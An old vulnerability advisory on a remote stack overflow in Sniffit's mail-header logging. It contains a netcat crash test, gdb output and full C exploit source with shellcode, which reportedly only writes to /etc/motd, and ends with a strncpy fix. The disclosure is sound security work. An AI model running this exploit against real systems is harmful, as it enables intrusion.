COMMAND
Sniffit
SYSTEMS AFFECTED
Possibly all systems running Sniffit
PROBLEM
Following is based on SPJ Security Advisory by FuSyS. Affected
are possibly all systems running Sniffit (0.3.7beta and all
versions logging mail headers). Successfull attacks depend on
being able to craft shellcodes so they can bypass input filter.
Credits for pointing to the bug goes to |CyRaX|, of Packets
Knights Crew and to all those stealth people who saw this and
didn't speak. Though 0.3.7 is still in beta state, there seems
to be a lot of admins which rely on Sniffit for dumping and
controlling network flows in their LANs. But the problem
described here only applies to a particular configuration option
which is probably not very utilised, since it interferes with
users privacy (yeah, right). Sure it is common in hackers
conventions and UNIX user groups' parties, but that's another
story.
There appear to be the same problem though, in 0.3.6HIP. This
could well go back till 0.3.2 with the introduction of logfiles
and log params, supposedly.
Authors decided not to undergo the usual path with the creator as
since 0.3.[2-4] the error probably has been known for a while
now, and the code we're supplying is not dangerous as the
shellcode simply puts a polite string in /etc/motd (if present):
"fusys was here". Note to script kids: simply pasting a more
complex and aggressive shellcode will do no good, since it should
be modified to bypass Sniffit lower case filter.
This is a very simple stack based buffer overflow. Usual stuff,
static buffers and user input don't go merrily along together.
The problem is evident only when loggin mail headers via the -L
flag. The smash occurs when the logging flag -L contains the
directive 'mail'. Sniffit will then look for every packet that
contains two strings: "mail from:" and "rcpt to:" to log e-mail
headers. Obviously the admin has to activate Sniffit so it can
dump packets going to port 25.
The relevant code is in sn_analyse.c where we can see that
pointers containing the mentioned strings are copied to static
buffers using the strcpy function. The exploit is really
straightforward as it's possible to go on till the eip to change
the return address. Just a small problem is the fact that Sniffit
filters user input by applying checks contained in the strlower
function. This uses a simple isupper?tolower mechanism which
does not protect against opcodes injecting. So, by slightly
modifying publicy available shellcodes, an attacker with even
modest assembly programming knowledge can craft a working code to
exploit this vulnerability. Here is the relevant part in
sn_analyse.c:
if(strstr(workbuf1,"mail from")!=NULL)
{
char workbuf2[MTU];
strcpy(workbuf2, strstr(workbuf1,"mail from"));
and
if(strstr(workbuf1,"rcpt to")!=NULL)
{
char workbuf2[MTU];
strcpy(workbuf2, strstr(workbuf1,"rcpt to"));
So it'simply a matter of connecting to port 25 of the sniffing
box (or any other host in the LAN which Sniffit controls, as per
admin configuration) and write at least 211 characters as email
address in the "mail from:" cmd. To test if you're vulnerable
simply do (if you have, and should, netcat):
echo "mail from:`perl -e 'print "A"x300'`"|nc -vv HOSTNAME 25
while using gdb to control the runtime of Sniffit. As upper case
letters are filtered out you should be able to see something like
this:
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) i all
eax: 0x0 0
ecx: 0x8057648 134575688
edx: 0x8057648 134575688
ebx: 0xbfff5b84 -1073783932
esp: 0xbfff47a4 -1073789020
ebp: 0x61616161 1633771873
esi: 0xbfff6f0c -1073778932
edi: 0xbfff6f0c -1073778932
eip: 0x61616161 1633771873
(...skipped...)
as 0x41('A') is filtered to 0x61('a') all upper case letters will
follow the same destiny, so the attacker must craft an all lower
case shellcode with mixed sequence of non printable chars and
other common witchcraft paraphernalia.
Here is a simple code (as proof of concept) to exploit the
vulnerability on RedHat Linux x86 systems [note though that other
distros ARE also vulnerable via other shellcodes {for RET
morphing}]:
/*
* Sniffit 0.3.7beta Linux/x86 Remote Exploit
* ShellCode is a modified version of w00w00 write egg,
* to pass Sniffit input filter
*
* Tested on RedHat 5.2, 6.0, 6.2
* Proof Of Concept Code
*
* credits: |CyraX| for pointing me to the coredump
* del0 for hurrying me :)
* vecna for offering me drinks ;P
* belf for loving and caring his GSM ;P
*
* FuSyS [S0ftpj|BFi]
* http://www.s0ftpj.org/
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#define LENGTH 600
#define RET RH6x
#define RH52 0xbfff5c10
#define RH6x 0xbfff5bb5 // 0.3.6HIP 0xbfffcc50
#define OFFSET 0
#define ALIGNOP 3 // 3 RH6.0, 4 RH6.2
// may vary [1-5]
/* Note To Script Kiddies: This ShellCode Simply Changes An
Existing /etc/motd So Don't Bother DownLoading */
unsigned char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
"\x30\xe4\x88\x63\x09\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4"
"\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31"
"\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
"\x65\x74\x63\x2f\x6d\x6f\x74\x64\x01\x66\x75\x73\x79\x73\x20\x77"
"\x61\x73\x20\x68\x65\x72\x65\x0a";
unsigned long nameResolve(char *hostname)
{
struct in_addr addr;
struct hostent *hostEnt;
if((addr.s_addr=inet_addr(hostname)) == -1) {
if(!(hostEnt=gethostbyname(hostname))) {
printf("Name Resolution Error:`%s`\n",hostname);
exit(0);
}
bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
}
return addr.s_addr;
}
int main(int argc,char **argv)
{
char buff[LENGTH+ALIGNOP+1];
char cmd[610];
long addr;
unsigned long sp;
int offset=OFFSET;
int i, x;
int sock;
struct sockaddr_in sin;
if(argc<2) {
fprintf(stderr, "Usage: %s <sniffit host>\n", argv[0]);
exit(0);
}
sp=(unsigned long) RET;
addr=sp-offset;
for(i=0;i<120-ALIGNOP;i++)
buff[i]=0x90;
for(x=0; x<strlen(shellcode); i++, x++)
buff[i]=shellcode[x];
for(i-=1 ; i<LENGTH; i+=4) {
buff[i ] = addr & 0x000000ff;
buff[i+1] = (addr & 0x0000ff00) >> 8;
buff[i+2] = (addr & 0x00ff0000) >> 16;
buff[i+3] = (addr & 0xff000000) >> 24;
}
printf("\nSniffit <=0.3.7beta Linux/x86 Remote Exploit\n");
printf("by FuSyS [S0ftpj|BFi] - http://www.s0ftpj.org\n\n");
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(25);
sin.sin_addr.s_addr=nameResolve(argv[1]);
printf("Connecting to %s ...\n", argv[1]);
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket\n");
exit(0);
}
if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to Sniffit Server\n");
exit(0);
}
printf("Injecting ShellCode ...\n");
strncat(cmd, "mail from:", 10);
strncat(cmd, buff, strlen(buff));
write(sock, cmd, strlen(cmd));
printf("Done!\n\n");
return(0);
}
SOLUTION
The first obvious solution to this simple problem is to use a
fixed-size buffer to store e-mail addresses, instead of relaying
on user input. In the file sn_analyse.c , rows 163 and 175, we
can change strcpy to strncpy, choosing an arbitrary size for
delimiting the input. Sure, this is not an elegant solution,
since we can't know the real length of the peer address, but it's
better than having our IDS|Sniffing box compromised.